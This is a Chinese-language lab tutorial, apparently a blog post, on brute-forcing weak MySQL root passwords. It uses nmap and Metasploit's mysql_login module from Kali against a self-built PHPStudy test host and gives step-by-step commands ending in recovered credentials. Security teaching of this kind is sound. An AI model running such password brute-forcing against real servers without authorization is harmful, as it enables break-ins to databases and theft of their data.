一、实验环境
1.攻击方:
攻击环境使用KALI系统(使用虚拟机搭建)的Metasploit模块,msfconsole是metasploit中的一个工具,它集成了很多漏洞的利用的脚本,并且使用起来很简单的网络安全工具。
这里要特别强调:被攻击的环境必须开启mysql远程登陆服务,通常MySQL开启的端口号是3306,故而一般情况下要求被攻击的服务器开启了3306端口号。
2.被攻击MySQL环境:
Windows的PHPStudy环境搭建的MySQL服务
这里特别要注意MySQL需要启动允许远程访问,因为渗透环境是Kali虚拟机访问windows系统安装的MySQL环境,渗透成功的前提是MySQL允许远程访问,因为默认情况下小皮工具搭建的MySQL服务是仅允许本地访问的。
修改PHPStudy配套的MySQL服务允许远程访问的开启方法可以我之前的文档Nmap爆破MySQL弱口令漏洞:解决报错Accounts: No valid accounts found_mooyuan的博客-CSDN博客
搭建好环境后,可以使用nmap探测MySQL环境,命令为
nmap 192.168.71.1
渗透结果如下,确认3306端口MySQL服务已开启
二、MSF渗透过程
Metasploit进行SQL数据库弱口令暴力破解
1、在终端输入msfconsole命令即可进入msf的控制台
msfconsole
进入2后效果如下
2.使用mysql_login暴力破解模块进行渗透
使用MySQL暴力破解脚本mysql_login进行渗透
use auxiliary/scanner/mysql/mysql_login
使用show options命令显示暴力破解的参数
show options
如下所示为各个参数的含义
这里要特别强调几个需要配置的参数,
(1)RHOSTS是远程MySQL服务器的ip地址
(2)RPORT 3306 是MySQL开启的端口号,默认是3306;如果不是3306端口的时候需要配置
(3)USERNAME是MySQL的用户名,默认为root;这里当登录用户发生变换不是root时, 需要配置
(4)PASS_FILE这里是指定爆破的密码字典文件的路径。
举个例子,出于方便我仅仅将pass.txt设置为包含root和111111这两个密码(这里的前提是windows主机安装MySQL,默认密码root没有改过,所以只要将密码文件pass.txt中增加了MySQL服务器中真实的密码即可)
如果密码路径为/home/kali/pass.txt 那么可以进行渗透配置
set pass_file /home/kali/pass.txt
3.暴力破解
在渗透前配置暴力破解参数,其中MySQL服务器为192.168.71.1,端口号为3306,用户名为root,密码文件为/home/kali/pass.txt,最后使用run命令进行渗透,具体命令如下所示
set rhosts 192.168.71.1 //设置目标服务器的ip地址
set rport 3306 //设置目标端口,为MySQL开启的端口号,默认是3306
set username root //设置用户名,默认即为root
set pass_file /home/kali/pass.txt //指定密码字典文件的路径
run //开始爆破
如下所示,由于默认用户名是root,且端口号3306均为root,故而这两项其实在没有变化时可以不指定,渗透过程如下所示
如上所示,渗透成功:获取到用户名root,密码为root。